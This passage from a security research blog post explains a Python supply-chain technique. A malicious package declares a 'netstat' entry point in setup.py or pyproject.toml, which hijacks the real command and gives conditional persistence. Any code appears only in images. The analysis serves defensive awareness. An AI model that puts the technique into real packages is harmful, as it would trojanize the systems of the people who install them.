https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-17.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-17.png 1430w" sizes="(min-width: 720px) 720px"></figure><h3 id="search-order-hijacking-through-entry-points">Search order hijacking through entry points&#xA0;</h3>
<!--kg-card-begin: html-->
<table class="Table Ltr TableWordWrap SCXW153915742 BCX4" border="1" dir="ltr" data-tablestyle="MsoNormalTable" data-tablelook="1184" aria-rowcount="5" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; table-layout: fixed; width: 1px; border-collapse: collapse; empty-cells: show; position: relative; overflow: visible; background: none; border-spacing: 0px;"><tbody class="SCXW153915742 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text;"><tr class="TableRow SCXW153915742 BCX4" role="row" aria-rowindex="1" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 0px;"><td class="FirstRow FirstCol SCXW153915742 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 114px;"><div class="TableCellContent SCXW153915742 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW153915742 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW153915742 BCX4" paraid="1216549961" paraeid="{548fed22-a656-4c6e-b64a-eb608c0e308d}{33}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: center; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW153915742 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW153915742 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">OS</span></span><span class="EOP SCXW153915742 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="FirstRow LastCol SCXW153915742 BCX4" role="columnheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 508px;"><div class="TableCellContent SCXW153915742 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW153915742 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW153915742 BCX4" paraid="1739462259" paraeid="{548fed22-a656-4c6e-b64a-eb608c0e308d}{40}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW153915742 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW153915742 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Windows, Linux, macOS</span></span><span class="EOP SCXW153915742 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW153915742 BCX4" role="row" aria-rowindex="2" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 0px;"><td class="FirstCol SCXW153915742 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 114px;"><div class="TableCellContent SCXW153915742 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW153915742 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW153915742 BCX4" paraid="1181772621" paraeid="{548fed22-a656-4c6e-b64a-eb608c0e308d}{48}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: center; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW153915742 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW153915742 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Category</span></span><span class="EOP SCXW153915742 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW153915742 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 508px;"><div class="TableCellContent SCXW153915742 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW153915742 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW153915742 BCX4" paraid="1641101643" paraeid="{548fed22-a656-4c6e-b64a-eb608c0e308d}{55}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW153915742 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW153915742 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Package Content Abuse</span></span><span class="EOP SCXW153915742 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW153915742 BCX4" role="row" aria-rowindex="3" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 0px;"><td class="FirstCol SCXW153915742 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 114px;"><div class="TableCellContent SCXW153915742 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW153915742 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW153915742 BCX4" paraid="1438059026" paraeid="{548fed22-a656-4c6e-b64a-eb608c0e308d}{63}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: center; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW153915742 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW153915742 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Persistence</span></span><span class="EOP SCXW153915742 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW153915742 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 508px;"><div class="TableCellContent SCXW153915742 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW153915742 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW153915742 BCX4" paraid="1779056617" paraeid="{548fed22-a656-4c6e-b64a-eb608c0e308d}{70}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW153915742 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW153915742 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Conditional (fires when victim invokes the hijacked command)</span></span><span class="EOP SCXW153915742 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW153915742 BCX4" role="row" aria-rowindex="4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 0px;"><td class="FirstCol SCXW153915742 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 114px;"><div class="TableCellContent SCXW153915742 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW153915742 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW153915742 BCX4" paraid="1741446770" paraeid="{548fed22-a656-4c6e-b64a-eb608c0e308d}{78}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: center; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW153915742 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW153915742 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Build</span></span><span class="EOP SCXW153915742 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW153915742 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 508px;"><div class="TableCellContent SCXW153915742 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW153915742 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW153915742 BCX4" paraid="642792178" paraeid="{548fed22-a656-4c6e-b64a-eb608c0e308d}{85}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW153915742 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW153915742 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">setup.py, </span><span class="NormalTextRun SCXW153915742 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">pyproject.toml</span></span><span class="EOP SCXW153915742 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW153915742 BCX4" role="row" aria-rowindex="5" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 0px;"><td class="FirstCol LastRow SCXW153915742 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 114px;"><div class="TableCellContent SCXW153915742 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW153915742 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW153915742 BCX4" paraid="1463765225" paraeid="{548fed22-a656-4c6e-b64a-eb608c0e308d}{93}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: center; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW153915742 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW153915742 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Distributions</span></span><span class="EOP SCXW153915742 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol LastRow SCXW153915742 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 508px;"><div class="TableCellContent SCXW153915742 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW153915742 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW153915742 BCX4" paraid="836568029" paraeid="{548fed22-a656-4c6e-b64a-eb608c0e308d}{100}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW153915742 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW153915742 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">sdist</span><span class="NormalTextRun SCXW153915742 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">, wheel</span></span><span class="EOP SCXW153915742 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr></tbody></table>
<!--kg-card-end: html-->
<p></p><p>Python packages can declare entry points for their execution, which leads to the creation of a specific binary in the binary/scripts folder of the given environment. Whenever its alias is invoked, the corresponding binary is executed. In a naming conflict, the binary which has a higher ranking on the search path gets executed. The impact and scope of this technique depend on the target Python deployment. Virtual environments are vulnerable only when activated in a shell session, while system-wide environments may invoke the infected binary at any time. The operating system version and Python installation path can also affect search-order behavior.&#xA0;</p><p>Adversaries can leverage this feature to hijack legitimate binaries. For instance, entry point declaration using a <code>netstat</code> alias can replace the execution of the legitimate <code>netstat</code> binary, due to being in a higher rank in search order. If adversaries manage to declare such an entry point in their package, they can re-route the execution of <code>netstat</code> to a binary they have control over. While executing the legitimate binary in the background, they can also include their malicious payload in between. Different research has <a href="https://checkmarx.com/blog/this-new-supply-chain-attack-technique-can-trojanize-all-your-cli-commands/" rel="noreferrer noopener"><u>reported</u></a> on this technique previously.&#xA0;</p><p>In Figure 8, &#x201C;setup.py&#x201D; creates an entry point named <code>netstat</code>, executing the <code>main</code> function of the <code>cli</code> module within the package.&#xA0;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-18-figure-8.png" class="kg-image" alt="The serpent&#x2019;s tongue: Luring the Python out of its den" loading="lazy" width="1430" height="919" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-18-figure-8.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-18-figure-8.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-18-figure-8.png 1430w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 8. &#x201C;setup.py&#x201D; hijacking legitimate </span><code spellcheck="false" style="white-space: pre-wrap;"><span>netstat</span></code><span style="white-space: pre-wrap;"> binary.</span></figcaption></figure><p>The same technique can be achieved through the &#x201C;pyproject.toml&#x201D; file as shown in Figure 9. Under the <code>project.scripts</code> section, the <code>netstat</code> entry point is declared to use the <code>main</code> function of <code>cli</code> module.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-19-figure-9.png" class="kg-image" alt="The serpent&#x2019;s tongue: Luring the Python out of its den" loading="lazy" width="1430" height="886" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-19-figure-9.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-19-figure-9.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-19-figure-9.png 1430w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 9. &#x201C;pyproject.toml&#x201D; hijacking legitimate </span><code spellcheck="false" style="white-space: pre-wrap;"><span>netstat</span></code><span style="white-space: pre-wrap;"> binary.&#xA0;</span></figcaption></figure><p>After installing the malicious package, each <code>netstat</code> execution from the given Python environment will execute the malicious payload, creating conditional persistence on the victim endpoint.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-20-figure-10.png" class="kg-image" alt="The serpent&#x2019;s tongue: Luring the Python out of its den" loading="lazy" width="1430" height="394" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-20-figure-10.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-20-figure-10.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-20-figure-10.png 1430w" sizes="(min-width: 720px) 720px"></figure><h3 id="overriding-the-content-of-a-legitimate-package">Overriding the content of a legitimate package&#xA0;</h3>
<!--kg-card-begin: html-->
<table class="Table Ltr TableWordWrap SCXW98521121 BCX4" border="1" dir="ltr" data-tablestyle="MsoNormalTable" data-tablelook="1184" aria-rowcount="5" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; table-layout: fixed; width: 1px; border-collapse: collapse; empty-cells: show; position: relative; overflow: visible; background: none; border-spacing: 0px;"><tbody class="SCXW98521121 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text;"><tr class="TableRow SCXW98521121 BCX4" role="row" aria-rowindex="1" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 0px;"><td class="FirstRow FirstCol SCXW98521121 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 118px;"><div class="TableCellContent SCXW98521121 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW98521121 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW98521121 BCX4" paraid="1622982720" paraeid="{7d17daa5-5fa4-4520-ab6b-9bec2fcbcb38}{108}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: 